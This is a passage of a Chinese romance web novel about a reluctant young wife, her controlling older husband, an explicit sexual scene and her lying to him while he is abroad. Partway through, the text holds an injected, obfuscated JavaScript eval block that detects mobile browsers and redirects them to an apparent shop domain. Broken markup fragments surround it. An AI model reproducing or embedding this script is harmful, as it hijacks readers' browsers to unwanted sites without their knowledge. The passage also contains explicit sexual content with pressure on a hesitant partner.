当然,最令他高兴的是,黎清昭的这一番话潜意识里把他们纳入到了同一个阵营。 她和他是浑然一体的,而蔺逸远理所应当的成为了那个“外人”。 “好,我答应你。”蔺承则很爽快,半宠溺半威胁地说:“只要你不想着离开我,和他破镜重圆,什么我都可以答应你。” 黎清昭眸色黯淡下来,心想她才没有那么水性杨花。从她答应嫁给他的那一刻起,她和蔺逸远就再无可能。只是因为在她和蔺逸远有二十多年浓烈的感情,她不可能真的轻而易举弃他如敝履。 她是个重感情的人,是个容易心软的人,对蔺逸远这样,对蔺承则也会是这样。 “好,说到做到。”黎清昭挑眉,“谁撒谎谁小狗。” 蔺承则笑着说:“幼稚。” 聊完正事,黎清昭心里那个疙瘩骤然消失,她眨了眨眼,开始酝酿怎么跑路。 结果她发现,他这人真是奇葩,刚刚一本正经地和她聊天,聊了那么半天,居然没有丝毫偃旗息鼓的迹象。 黎清昭用手背擦了擦脸上的水珠,“你好好洗澡吧,我要睡觉了。” 说完,她要从盥洗台上往下跳。 蔺承则圈住她的腰,“小乖,帮帮我,嗯?” 他的尾音上挑,喉结滚动,水珠坠在喉结上,性感极了。 “老婆,我很难受。” 他又亲了亲她的耳垂,进而吻上她柔软的唇畔。 她闭上眼睛,觉得耳膜边鼓动着塞壬的歌,引诱着她一点一点丧失理智。 她本身就不是自制力很强的人。 她还很好瑟。 她其实也想看着他沉沦的样子…… 可她是最骄傲的公主。 她又不想做这么肮脏的事。 她不想主动取悦她不喜欢的男人…… 好纠结啊。 黎清昭抬眸看着他,眸色澄澈,晦暗,还噙着泪花。从她的角度仰头看,只能看到他性感的喉结和流畅的下颌。 黎清昭忽然觉得,她这辈子可能真要葬送在他身上了。 22. 教导 蔺承则轻而易举地攥住她的手,引领着她圈上。 黎清昭难以形容那一刹的感觉,只觉得大脑皮层发麻,连带着手上的触觉被无限放大。她虽有些不情愿,但还是情不自禁地想抬眸观察他的反应。 看到他的眼睛,她才知道,原来男人的感情是这么直白、浓烈、炽热,简直要将她的手烫穿。 黎清昭条件反射地退缩,想逃,却被男人钳住手腕。他俯身,把她的耳垂含在嘴里,“好孩子,帮帮我。” 这句话,他今天晚上已经重复好多遍了,黎清昭觉得同一句话重复太多遍会对一个人产生影响,会让她丧失理智。 她居然就这么鬼迷心窃地点了点头。 “可是我不会。”她是真的害羞,小脸湿乎乎的,说话的声音也小了很多。 蔺承则觉得自己从来没这么有耐心过,“别急,我教你。” “你才着急呢!”她一句话的亏都不愿意吃,必须立刻反驳他,“你要是不需要,我现在马上就走。” “别。”蔺承则用手扣住她的后脑勺,“猫一样的脾气。” “切。”她冷哼一声,得意地把下巴扬起来。 黎清昭不得不承认,蔺承则是个好老师,尤其是在这方面。他太懂什么叫循循善诱了,一边事无巨细地通过语言指导她,一边又身临其境地纠正她的动作。 黎清昭也的确是个好学生,她很快就发掘出帮他做这种事的技巧。 还有乐趣—— 那就是她可以轻易地控制着他的喜怒哀乐。 她抬眸,被水雾濡湿的睫毛轻颤着,眼睛一定不动地盯着他的脸,观察他的面部表情。他一向是个不喜欢把喜怒挂在脸上的人,可此时此刻,那种近乎极乐的享受,那种欲求不满的痛苦在他的眉眼间展现得淋漓尽致。 “原来你也有弱点。”黎清昭挑眉看他。 蔺承则把小妻子圈进怀里,“别闹。” 他不让她闹,她偏不。 黎清昭对着他露出一个挑衅的笑,随后节奏就变得毫无章法,或轻或重,如同大海上骤然来袭的暴雨,毫无预兆,全凭心情。 她看到男人脸上有汗水顺着下颌往下流,便更加卖力。 蔺承则当然知道她在公报私仇,他的小妻子太聪明了,起初懵懵懂懂地被动地跟着他学习,掌握了门道之后就要握住主动权,看着他挣扎,看着他沉沦。 他既享受这种快感,又不愿意让她太过得意。 “清昭……”他闷哼着叫她,却在只言片语中暴露了他的克制、隐忍。 黎清昭趁她不注意,骤然使坏,“再给你两分钟够吗?” 蔺承则觉得她是在故意挑衅他,他提着她的腰就把她压在了墙面上,捏着她的下巴吻了上去。 滚烫的吻,冰凉的墙面,迷蒙的水雾……黎清昭被他亲得水深火热,只能心甘情愿地张开嘴唇,主动把小舌头往他的嘴巴里送。 他太粗暴了,不懂怜香惜玉,宛若一匹野狼,恨不得把她揉进骨子里。 “喘不上来气了。”黎清昭觉得自己玩脱了,开始示弱,“我要睡觉,你放开我。” 到了这一步,进退维谷,蔺承则怎么可能轻易善罢甘休。 “乖,再让我亲亲。” 他嘴上用着商量的语气,行动上却容不得她反抗。 到了最后,黎清昭只觉得大脑懵懵的,像是缺了氧。眼前雾气弥漫,甚至都看不清男人的表情。当然,最可怜的当属她的这一双小手,平时粗活累活都没干过,刚刚却像个陀螺一样奔波不休。 黎清昭从来没这么累过,以至于后来,她一直迷迷糊糊的,像是个提线木偶,任由他操纵指挥她的动作。 蔺承则看着如此可爱的小妻子,像捧着至宝一般,用浴巾把她裹起来,直接把她抱到了床上。 黎清昭沾床就睡,才不想昨晚那样纠结身旁有个陌生的男人怎么办。毕竟该做的不该做的,他们都做了,睡在一张床上也无可厚非。 蔺承则简单收拾下浴室,回来的时候,黎清昭已经睡着了。她睡觉很不老实,从床的一侧滚到了正中间,怀里还抱着抱枕,小腿搭在上面。 蔺承则忍不住盯着她多看了几秒,他突然想起她大概三四岁的时候,当时黎执渊来家里找他,黎清昭非要缠着哥哥一起。 那时她个子小,穿了一身粉色纱裙,头上扎了两个小丸子,还带了两个蝴蝶结。她从小就是个美人胚子,当时软萌软萌的,自己坐在一旁玩,玩了没多久就躺在他的床上睡着了。 蔺承则其实没有照顾小朋友的经验,虽说蔺逸远当时比黎清昭大不了多少,但兄弟俩除了吃饭碰一面,很少单独相处。后来蔺承则想想才明白,是陈玉梅不让蔺逸远找他玩,她怕蔺承则偷偷欺负弟弟。 可再也照顾小孩经验的他,看着床上那个香香软软的小团子,忍不住蹑手蹑脚地给她把被子盖上。 过了没几分钟,黎执渊找到睡的正香的妹妹,要把她背回来。 “等会儿吧,她刚睡着。”蔺承则难得开口。 黎执渊挑了挑眉,“这么会照顾人,把我妹送给你照顾两天。” 蔺承则没说话。 这些过往,黎清昭早就记不清,她从没想到,她从小就这么霸道地占领过他的床,还差点被亲哥送给他当妹妹。 要知道,蔺承则这人从小就沉默寡言,不喜欢别人碰他的东西,就算阿姨要进房间打扫,就得经过他同意。 那时候,他也没想到,她会成为他的妻子。 蔺承则掀开被子,直接把黎清昭圈在怀里,他抓住她两只手,放在灯光下细细端详。 她从小到大吃饭洗衣都要人伺候,手保养得细皮嫩肉。 蔺承则突然想到她芊芊玉指包裹住他的感觉,喉结又开始滚动。 明明刚结束,他却觉得还没开始。 蔺承则轻叹一口气,觉得食髓知味,可又不敢继续强迫她,只好抬手把台灯关掉,搂着她入睡。 - 次日一早,黎清昭是被自己养的那两只宝贝猫弄醒的。 她还做着美梦呢,就感觉手上湿乎乎的,还有些粘腻,像是什么东西在她手上拍打。 她骤然清醒,抬眸一看,她掌心有一条活蹦乱跳的小红鱼。这鱼她一点儿都不陌生,刚搬来蔺承则家里她就注意到了,男人楼下的鱼缸里养了几条小红鱼,不知道是什么品种的,游起来挺快的,尾巴一摆一摆的。 可鱼怎么跑到她怀里了呢? “啊啊啊啊啊!”黎清昭抬手就把小红鱼甩到地上,放声尖叫。 这一声可把正在健身的蔺承则吓得够呛,他把跑步机暂停,连忙推门进来,就看见一人两猫面面相觑。 “清昭,怎么了?”他额头上挂着一层汗水,眉宇间透露出着急。 她这样一惊一乍的,是对他心脏的考验。 黎清昭忿忿地锤了两下床,抬手指着地毯上的那条鱼,“坏猫,她偷你的鱼。” 蔺承则弯腰看了眼已经死翘翘的小鱼,抬手把尸体扔进垃圾桶,又看着窝在床上梳理毛发的小猫,问她:“这算不算猫随主人。” “什么意思?” “没有一个老实的”他实话实说。 黎清昭有些护犊子,她被打扰了美梦,随便怎么数落她的宝贝猫都可以,但蔺承则不可以说他们的坏话。 她灵机一动,抬手就把两人猫抱在怀里,“宝贝,他嫌弃你们,妈妈不嫌弃你们,我是不会让你们过寄人篱下的生活的。走,咱们回家。” 黎清昭两脚踩在地毯上找拖鞋,蔺承则不知什么时候站在她面前握住她的肩膀。 “清昭,你是在掩耳盗铃吗?” 黎清昭小脸瞬间红了,她拂开他的手 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黎清昭狐疑地看向他,轻哂一声,“猫哭耗子,假慈悲,威胁我就威胁我,还冠冕堂皇说一些好听的话。” 蔺承则没顺着她说,他知道她有分寸,便叮嘱她:“我不在,你要是自己孤单,回娘家住也可以,但是要记得和我说一声,不然我会担心。这段时间,你要乖一些,不要胡闹,不要作,等我回来给你带礼物。” 他想了想,解释说:“还有,楼下的鱼缸水深,不是不让你的猫玩儿,是怕他们掉进去淹到。他们要是喜欢,我让人换一个鱼缸,多放几条鱼进去,好不好?” 黎清昭直愣愣地看着他,觉得他对她有些过于溺爱了,饶是她亲爹,也不会爱屋及乌到纵容她的猫。 “他们不吃鱼,只会祸害鱼,可能是猫的本性。” “嗯。有点本性挺好的,让他们玩吧。我觉得家里的猫爬架可能有些少,你看看哪里需要再安一些,告诉我就行。” 黎清昭看着他的眼睛,防备地说:“你突然间对我这么好,不会是想把我卖了吧。” 蔺承则被她逗笑了,“傻孩子,我是你丈夫,我不对你好对谁好?我希望你和我生活在一起能开心,只要你开心,我怎么样都行。” 她故意钻空子,“也么样都行嘛?无性婚姻也行?” 蔺承则点了点她的小脑袋,“不行。” “切,那你把话说的那么死干什么?” “你确定要和我抬杠?”蔺承则忍不住去亲她。 黎清昭现在最怕他亲她,总觉得他没安好心,生怕亲着亲着就擦枪走火。 她捂住他的嘴,突然指着梳妆台旁的袋子,让他拿过来。 蔺承则不明所以,但还是照做。 黎清昭从里面掏出一条领带还有一对袖扣,随意扔到他手里,“昨天逛街,刷你的卡,随便买的。” 她打了个瞌睡,卷着被子背对他躺下,“打折货,很便宜。” 蔺承则指腹划过那对蓝宝石袖扣,脸上如沐春风,“清昭,这是特意给我买的?” 只因为她早上看不上他的品味,觉得老气。 “你别自作多情,都说了是顺便买的打折款。你要不喜欢,可以扔掉。” 蔺承则才不舍得扔掉,这可是他的妻子第一次给他买礼物,“我很喜欢。” 他又趁她不注意,亲了她一口。 “哎呀,你快走吧,你影响到我睡觉了!” 黎清昭把脸蛋埋在被子里,多少还有些不好意思。不就是送给他一条领带、一对袖扣吗,至于这么矫情,还说很喜欢。 喜欢就喜欢呗,夸一夸她的眼光好就得了,干嘛还要偷亲她。 自恋的老东西,以为自己的吻很值钱吗! 她才不稀罕。 23. 鬼混 蔺承则去慕尼黑出差,黎清昭一个人在家简直爽到极点,那感觉就像她从来没有结过婚,依旧单身一人,不用看旁人的脸色,不用怕横行霸道的老公,可以为所欲为。 蔺承则走的那天晚上,黎清昭其实已经高兴得心花怒放了,但为了掩饰即将放飞自我的小心思,她还装模做样地帮他整理了一下领带,叮嘱他要注意安全。 蔺承则属于“看破不说破”的类型,静静地看着他的小妻子演戏,只是在临出门之前告诉她不要胡作非为。 这种话黎清昭一般都是左耳进右耳出,反正等他走了之后,饶是再有本领,天高路远也管不到她。 说实话,蔺承则是真有点儿放心不下她,他觉得她年龄小,脾气差,有时候太过孩子气。可转念又想想,她是他要携手一生的妻子,而不是一个被他囚禁的犯人,他确实应该及时放手,至少应该相信她会有已婚的意识,不会像以前那么胡作非为了。 所以,他没过多要求她报备行程,只是叮嘱她记得接他的电话。 事实证明,蔺承则真的高估她了。 男人走之后,黎清昭完全就把自己这个丈夫忘在了脑后。她直接从他的别墅搬回了她住了两三年的大平层,然后熬了两天研究她的毕设选题及操作方案。 紧接着,就是出去和赵悯粤鬼混。 赵悯粤虽然嘴上挺潇洒,可还因为失恋这件事间歇性发疯,为了发泄情绪,她攒局吆喝着喊一些朋友和同学出来喝酒,其中自然包括丈夫正在出差的黎清昭。 “清昭你来了,逸远呢?” 和黎清昭搭话的是和他们一个组建工作室的学长,比她大了三届,名叫段锐,潮汕人,家里三代从商。 从大三开始,段锐就自己拍片子,大学时期他和同学拍摄的作品也得过一些奖。毕业后,他选择留在北城创业,继续搞艺术。 在黎清昭眼中,他是个有野心、有抱负、有规划的人。他喜欢拍纪录片,于是就自己拿出积蓄组团队、拉投资,几乎年年无休,拍完成品之后,又要搞宣传,还得疏通人脉。 可在中国,纪录片相比其他影视行业,市场简直小得可怕。段锐他们同一届的同学,几个有人脉有资源的有大导演提点,兼任个副导演,拍起了电视剧电影。其他人则转型的居多,有的跻身短视频行业,更多的人早就脱离了这个行业。 只有段锐头铁要拍纪录片,还拉拢了黎清昭、赵悯粤这群有钱有闲又有点小抱负的人入局。 黎清昭抬眸看了眼他,有些不理解,为什么所有人见到她都要问她蔺逸远在哪,弄得就像他们捆绑营销一样。 不过,她虽然有些不开心,但不是喜欢折人面子的人,语气故作轻松地说:“学长,你就不要提他了,我们早就分手了。” 赵悯粤坐在卡座上,搂住黎清昭的肩膀,和她碰了下酒杯,帮她解释:“她和我一样,都是失恋的小可怜虫。” 黎清昭用胳膊肘怼了她一下,“你别嘴上没有把门的。” 赵悯粤扁了扁嘴,贴在她耳边说:“放心,你不同意,我是绝对绝对不会告诉大家你已经结婚的事。你闺蜜我,守口如瓶。” 什么守口如瓶,黎清昭怕赵悯粤这张破嘴一拧就开。 段锐见两个姑娘腻在一起说悄悄话,便也不在旁边自讨没趣,他转身和其他人打招呼。 赵悯粤看着段锐的背影,手缠着黎清昭裙摆上的流苏问她:“你说段学长这人怎么样?” “你别说你又转移目标了。”黎清昭狐疑地看着她。 “什么跟什么嘛,我是那种三心二意、水性杨花的人吗?”赵悯粤怼了她一下,摆了摆手,“算了算了,不听拉倒,我还不告诉你了呢。” “切。”黎清昭抱着胳膊假装和她置气。 赵悯粤一见她这样,又有些忍不住,挽着她的胳膊就要说,结果被黎清昭的电话声打断了。 “你手机在响。” “可能是我哥。”黎清昭从包里掏出手机,扯了扯嘴角,用口型说:“蔺承则。” “你老公。他不是出差了吗?这么晚了,他不会还查岗吧。” “你小点儿声。”黎清昭捂住她的嘴。 她低头,手机还在震动个不停,像是催命符。 蔺承则虽然出差人在国外,但几乎每天晚上都会抽出时间定点和黎清昭视频。 不过,也许是因为他们的婚姻名存实亡,两人没什么感情,他们视频的时候,也几乎没什么话可聊,也没什么悄悄话可说,一般情况下都是他都会简单跟她报备他这一天做了什么,顺便问问她都干了什么。 黎清昭和他在一起生活,掰着手指头数前前后后加起来才不过三天。男人在家的时候,有个活人在身旁总是要亲她、抱她、和她亲密,她还算和他有点儿关联。可他一走,她搬出来住,两人好不容易培养的感情瞬间如泡沫般消失。她本来就不喜欢他,对每天和他视频这件事跟提不起什么兴致,更多时候像是在应付差事,免得他回来新账旧账和她一起算,找她的茬儿。 要是平时这个时间她在家,还能接通电话,和他聊两句,就当打发时间。可今天,她在和朋友们搞party,喝酒,蹦迪,她才不想搭理他。 况且,赵悯粤居然用了“查岗”这个词,她堂堂黎大小姐,要是传出去她怕丈夫,岂不是很丢脸。 黎清昭叛逆心起来了,随手把电话给挂断了。 赵悯粤挑眉,“不接?你可真有胆量。” “一个电话而已,我说不接就不接,你以为我怕他。”黎清昭拿起酒杯,往嘴里灌了半杯酒。 赵悯粤默默给她竖了个大拇指,对黎清昭逞强的话心里存疑。 以前,赵悯粤也不了解蔺承则这人,主要是因为两人没什么交集,她对他的印象都源于媒体和蔺逸远。 可自从知道黎清昭和他结婚这事之后,她实在是太过好奇这个男人到底什么样,怎么狠心到连亲弟弟的未婚妻都抢,于是她和家里的长辈打听了一番,自此对蔺承则又多了几分敬畏。 “你想一想,他从二十一岁进公司,一步一步从底层做起,如今在董事虎视眈眈的蔺氏站稳脚跟,掌握话语权,这是什么本领!反正你爸我没这个本事。” “不过最毒辣的还是他投资的眼光,这些年,他几乎抓住了每一个风口,大胆革旧立新,涉及各个领域。” “你爸和你说这些,是让你想想他能走到这一步,心该有多狠。咱们家和蔺家没什么生意往来,你也不要招惹他。” “……” 赵悯粤想着自己亲爹的叮嘱,思忖着可怜兮兮的黎大小姐婚后过的是什么苦日子,不免对她同情几分。 正在赵悯粤伤春悲秋的时候,她被黎清昭的手机声又拉了回来。 蔺承则大概是不放心他的小妻子,又打了过来。 “要不然你接吧,出去接,告诉他一声你和我在一起,让人也好放心呀,你说是不是?”赵悯粤劝了劝固执的黎大小姐。 黎清昭的叛逆心总是来得莫名其妙,她又一次气势汹汹地把电话挂了。她想,如果让老混蛋知道她出来喝酒,肯定又得管教她。 而蔺承则这个人也是有一些锲而不舍的本领在身上的,她挂一次,他就重新打一次,还在微信问她在做什么。 不知道在第几次博弈之后,黎清昭在微信告诉他她在和朋友吃饭,然后就直接把他拉黑了。 赵悯粤狐疑地看着她,总觉得她在作死。 黎清昭摆了摆手,潇洒地说:“好了,现在世界都清净了。” 黎清昭把手机扔在一旁,继续和赵悯粤聊天,“刚才我们说到哪了?” 没过一会儿,她手机又响了,这次打电话的是黎执渊。 黎清昭拿着手机起身,“我哥,我先去接个电话。” 她从包厢出来,走到回廊拐角处,接通了电话,“哥。” 黎执渊听到她说话,松了一口气,“和谁在一起玩儿?” “悯悯,还有几个同学。怎么了哥,家里有事吗?” 黎执渊突然想起蔺承则刚刚给他打电话时说他清昭丢了,突然闹脾气了,不接他电话,他人在国外,实在是不放心,只能委托他这个当哥的给她打个电话,确定她是安全的。 当时,蔺承则的语气真的很着急,不像是装的。 黎执渊被他搞得有些紧张,只好暂时和他冰释前嫌,挂了电话就开始联系黎清昭。 现在,听着妹妹活蹦乱跳的声音,他也算是把心放在了肚子里。 “家里没事,你出去玩儿没告诉承则?” 黎清昭瞬间就明白了,老混蛋这是联系不到她去找她亲哥告状了,“他手可真够长的,转身就找到你来监视我。” “什么监视不监视的,你这孩子,说什么胡话呢?”黎执渊蹙了蹙眉,“你不接电话,在微信上回了句和朋友在一起,然后就把人拉黑了,是我我也着急,怕你出点儿什么事。” 黎清昭被说得有些心虚,“那、那我也不是故意的嘛,哥,那你帮我告诉他一声吧。” “嗯。别折腾到太晚,早点回家,到家告诉我和你嫂子一声。” “知道了。” 挂断电话,黎清昭抱着胳膊倚在窗前,看着窗外的夜色,心头涌上一股说不清道不明的感觉,涩涩的,酸酸的,像是胀起来的碳酸饮料,发着泡。 北城已经入秋很久了,窗户开了个小缝,寒风吹得她瑟瑟发抖。黎清昭连忙把窗户关上,一转身,看到正躲在一旁抽烟的段锐。 因为窗户旁放了一个巨型的绿植,所以黎清昭一直没注意到他。她不知道,刚刚她电话的内容,他听到了多少。 “学长,你也跑出来偷闲。”她故意调侃,免得两人独处尴尬。 段锐不动声色地把烟掐灭,抬手挥了挥烟气,“我不胜酒力,就出来躲一躲。” 黎清昭点了点头,算是回应,“那我先进去了。” “嗯。” 另一边,黎执渊打听到了妹妹的行踪,给蔺承则回了个电话,“放心吧,人挺好的,和朋友在一起玩儿。” “行,谢了。” 黎执渊不愿和他多交流,正准备挂电话,蔺承则突然说:“等等,你有没有叮嘱她少喝些酒。” 黎执渊敛眸,语气刻薄地说:“我妹妹又不是小孩子,她有分寸。” “她没有分寸。你知道清昭她玩儿心重,她不世故,如果她喝醉该怎么办?” 黎执渊觉得这人太过钻牛角尖,“她酒量如何,她心里清楚。” 蔺承则突然想到那天她喝醉,认错了人,把他当成了蔺逸远,坐在他腿上对着他是又亲又撒娇。 那天,他可是用尽了所有力气,克制,隐忍,逼着自己保持清醒,才没趁虚而入碰她。 可旁人呢?也会这样吗? 蔺承则知道,这个世界上男人就没有什么好东西,不过都是些好色、贪婪之徒,精/虫上脑的动物罢了。区别就是,有的男人自制力强、道德感强,能控制住自己。 蔺承则只要一想到他的小妻子身边可能围绕着一些居心叵测的男人,胸腔中就闷着一口气。 而且,黎清昭今天的行为太过反常了,摆明了是不想联系他,让他总有一种感觉,觉得她想做什么坏事。 蔺承则手肘支在桌子上,揉了揉眉心,打电话把周正喊了过来。 “给我订一张回北城的机票。” “不是得月底才回?” 这是蔺承则的原计划,其实也没几天了。 蔺承则摆了摆手,不愿多言。他的小妻子太让人操心了,他非得过去狠狠地抽她的小屁股,收拾收拾她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222539|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周正看着男人幽深的眸子,骤然明白老板应该是想老婆了。 他这个当特助的,察言观色的能力太强,为人处世也太过圆润。看到蔺承则不愿多谈,也没多问,只能照办。 周正离开之后,蔺承则把眼镜摘下来扔在红木桌上,他也不知道自己怎么这么钻牛角尖,非要不远万里回去教育她。他起身把刚来德国就给她选好的礼物取出来,盯着手上那个一点瑕疵都没有的白玉瓶,妥协地叹了口气。 他当然知道,她虽然骄纵跋扈,但人精明圆滑,当然不会轻而易举让自己陷入危险境地。 他虽然担心她,但又断定她不会胡来。 他转身看着窗外,太阳高悬,终于承认,其实,他是想她了。 只不过,他不愿意接受她不会想念他这个事实。 - 黎清昭玩起来容易得意忘形,那天晚上把打发圈一扯,头发一甩,又是蹦迪又是跳舞,像个小疯子一样。 不过,她疯虽疯,倒是始终谨记着自己当初在蔺承则身上吃过的亏,只喝了一点儿酒助兴。 反而是赵悯粤,嘴上说着不惦记Johnson了,酒一喝醉多就针对她坎坷的情史说得喋喋不休,越说越上头,越喝越多。 最后散局的时候,黎清昭用尽全身力气才把醉成烂泥的赵悯粤扶上车。 “送你回家。” 赵悯粤把下巴抵在她的肩膀上,“不要,我要和你一起睡。” 黎清昭犹豫两秒,“那咱俩去你家睡。” 她怕赵悯粤喝醉欺负她的宝贝猫,以前有一次,赵悯粤喝醉酒非要抱着仙女给她梳毛,最后把仙女逼急眼了,咬了她一口,才算作罢。 赵悯粤不懂她的苦心,狐疑地看着她,“你背着我藏男人了,不让我去你家。” “你想睡我男人的房子?”黎清昭故意去逗醉鬼,“我跟你讲,他可凶了。” 赵悯粤的话瞬间被堵住了,她觉得黎清昭的话怪怪的,像是在忽悠她,但大脑不转弯,又说不出哪里奇怪,“小气鬼。” “我乐意。” 最终,两人还是回了赵悯粤家里。赵悯粤也是上大学后就搬出来独居,她的房子虽小,但五脏俱全。 黎清昭把赵悯粤拖上床,气喘吁吁地又给自己倒了杯水,心想看样子今天晚上要轮到她照顾醉鬼了。 她倚在桌边,一边喝水,一边看着赵悯粤的睡姿,突然想到几天前蔺承则装醉套路她的场景。 这份记忆,她其实一直羞于启齿,从来没敢回忆,每次一有个念头,她就立刻掐灭这个念头,做些别的事转移注意力。 因为只要一想到自己的纤纤玉指曾握住那么粗大的东西,她就容易脸红。 黎清昭摊开掌心,看着自己的小手,又晃了晃脑袋,逼自己不去想那些事。 她还是照顾醉鬼吧。 赵悯粤的酒品还算不错,喝醉了很乖,不哭不闹,黎清昭给她倒了杯水,喝下去之后就卷着被子睡着了。 黎清昭听着均匀的呼吸声,心想这才是喝醉的人正常的样子,不像那个老混蛋,演技那么拙劣,借口找的经不起推敲。 可偏偏她这个傻子还轻而易举地相信了。 黎清昭转身就去洗漱,收拾完也就上床了。她拿到手机,发现蔺承则一个小时前给她发了微信,问她回没回家。 黎清昭思来想去,还是决定给他回条消息。她趁他不在的时候能硬气一番,可他终究还是要回来的,到时候她怕他收拾她。 黎清昭:【早到家了,马上就睡。】 发完,她还有点儿“此地无银三百两”地给他发了张猫猫的照片证明自己真回了家。 面不改色地撒完谎,黎清昭看了眼时间,才发现她们已经折腾到凌晨了。 太晚了,她困得不行,躺在床上就睡着了。 黎清昭和赵悯粤一觉睡到日上三竿,醒的时候,都下午一点了。 两人简单吃口阿姨给做的饭,赵悯粤又撺掇着黎清昭今晚和她一起去打麻将,打完麻将接着喝,“叫上段学长他们一起。” “你要再喝醉,我可不照顾你了。”黎清昭推了推她的胳膊。 “不用不用,这次换我照顾你,去不去?” 黎清昭挑了挑眉,她虽然不信赵悯粤的鬼话,但还是兴致勃勃地说:“去!” 她生性不安分,最爱玩儿了。 “痛快!”赵悯粤把筷子往桌子上一拍,“那我先去问问他们,就当提前给我过生日了。” 黎清昭窝在椅子上捂着嘴笑个不停,看着赵悯粤张罗来张罗去。 联系好牌友,两人就坐在梳妆台前化妆,一边说一边聊天,时间很快就流逝,到了晚上。 黎清昭穿着一件剪裁利落的驼色长款大衣,内搭配了件深灰色的高领针织衫,下身是一条同色系的直筒半身裙,长度刚好及踝,露出脚上一双简约的黑色短靴。 到了包厢,她把大衣脱掉,就开始和赵悯粤他们一起玩牌。 刚摸了两把牌,赵悯粤就起身闹着要先去趟卫生间。 “你这人,刚输两把就去洗手。” 赵悯粤轻笑一声,“换换手气嘛。” 她随手拿了颗葡萄塞进嘴里,笑盈盈地出门,刚走到楼道拐角处,突然一个刹车转身回来。 黎清昭听见动静抬头,只见赵悯粤手撑着门,皱着眉头,气喘吁吁地看她。 “快快快!藏起来。” 黎清昭一脸狐疑,“你遇上追债的了?” 赵悯粤拍了拍大腿,对黎清昭说:“不是我,是你。” “我怎么了?”黎清昭摊了摊手,一脸云淡风轻的样子。她丝毫不慌,似乎没什么事能撼动她此刻想要打麻将的心。 赵悯粤恨铁不成钢地跺脚,“你老公来抓你了!” 24. 捆住 “你老公来抓你了!” 黎清昭愣了一秒,旋即条件反射地反驳:“怎么可能?你别忽悠我。” 蔺承则出差之后和她视频,时不时会提一嘴他回北城的日期,黎清昭还特意看了眼手机,确定不是今天。 赵悯粤差点儿要掐自己的人中了,她连忙跑到黎清昭身旁,扯着她的胳膊就要把她往包厢的阳台上扯,“我神经病吗,我拿他和你开玩笑?我说的是真的,时间紧迫。” 看着赵悯粤一脸焦急和严肃,黎清昭后背突然沁出一层冷汗,她觉得赵悯粤的话不像是在糊弄人。而且,赵悯粤是个很有分寸的人,平时小打小闹看上去大大咧咧的,可她不会坏心眼到要拿蔺承则吓唬她。 “你讲真的?” “千真万确。”赵悯粤举起三根手指发誓。 黎清昭大脑骤然间一片空白,窗外的阳光晃得她刺眼,眩晕感接踵而至。 她自己都不知道她为什么这么心虚,她不就是故意玩失踪挂了他的电话、没回家住和他撒了个谎嘛。 在她看来,这些小事都不足挂齿。因为她从小到大就是个鬼机灵的小骗子,无论是她爷爷、她亲爹还是后妈,她为了达到目的随后说胡话,骗得他们团团转。 没想到,她长到二十多岁,安然无恙地活了这么多年,居然要在蔺承则身上栽跟头。 黎清昭攥紧手边的麻将,指甲几乎要陷进去。她又光速看了房门一眼,随手把麻将往桌子上一扔,转身就要跑。 今天麻将桌上的四个人,除了她和赵悯粤,还有段瑞和一个名叫千羽的十八线小明星。 黎清昭认识千羽得益于蔺逸远,据蔺逸远说,他当年算是英雄救美救下了千羽。后来,他们一起吃饭,赵悯粤连着千羽一起,大家才知道,原来在偌大的北城,人与人之间竟然是一个小圈,居然有千丝万缕的联系。 段锐和千羽见状,纷纷露出大吃一惊的表情。他们既震惊黎清昭结婚这个消息,又好奇她怎么就这么怕她这个老公呢、她老公又是何方神圣,居然能镇压得住黎大小姐。 而赵悯粤则非常仗义,她说:“你先藏起来,我帮你拖住他。” 黎清昭感激涕零地看着她,还叮嘱另外两人帮她瞒一瞒,随后就躲到了阳台上的窗帘后。 赵悯粤揉了揉眼睛,还没想好怎么编瞎话,包厢的房门就被人从外面推开。 蔺承则穿着一身黑色大衣,修长的手指礼貌性地敲了两下门,恰好一抬眸,就和赵悯粤的视线撞在了一起。 他挑了挑眉,想起刚刚在走廊见到的那道落荒而逃的背影。心想,若不是赵悯粤见到他扭身就跑,他恐怕也不敢这么确定他的小妻子就在这里。 蔺承则勾了勾唇,露出个毫无温度的礼貌性的微笑,“是赵小姐吧,经常听清昭提起你。” 他虽然没和赵悯粤正式见过,但却认识她。 准确的说,他认识黎清昭身边所有的朋友。 赵悯粤硬生生挤出一个苦笑,她今天总算是明白了,黎清昭为什么吐槽自家老公的时候总是用“他可凶了”、“他太恐怖了”这种话,因为他光是站在那,什么都不做,就带着一股与生俱来的压迫感。 “你好。” 蔺承则不愿意和她过多废话,开口询问:“清昭呢?” “清昭,她应该在家吧。”赵悯粤极力掩饰自己的紧张,“昨晚她回家之后,我们就没再见过了。” 蔺承则视线散漫地扫过麻将桌,看着空出来的那个座位,座位旁的小桌子上放着黎清昭的包,还有一盘洗得干干净净的奶油草莓。 他挑了挑眉,“是吗?” 他倒是没想到,黎清昭自己撒谎就罢了,还把这一屋子人都收买了。 “是的。”赵悯粤双手绞在一起。 蔺承则随意坐在真皮沙发上,翘起二郎腿,看向赵悯粤,“昨天我不小心惹清昭生气了,她把我的联系方式拉黑了,麻烦你帮我给她打个电话,问一问她在哪。联系不到她,我很担心。” 话说到这个份上,赵悯粤自然知道这事瞒不住了,蔺承则一定是清楚黎清昭此时此刻就藏在这间屋子里,所以才故意给她这个包庇“犯人”的同盟出难题。 可谎言已经编织到了这个地步,她主动拆穿也不现实,只能硬着头皮继续演戏,继续装傻。 赵悯粤从红丝绒的麻将桌上摸到手机,慢吞吞地给黎清昭拨电话。 黎清昭人躲在阳台的窗帘后,自然把两人的话听得一清二楚,她早就把手机静了音,绷着背站在阳台上一动不动。 赵悯粤把手机递给蔺承则,“她可能是睡着了,把手机调成了静音。” 男人盯着毫无回应的手机屏幕一言不发,包厢里陷入了一种诡异的气氛。电话长时间没人接,系统自动给挂断了。 蔺承则这才回过神,“既然如此,那我就在这等一等她。” 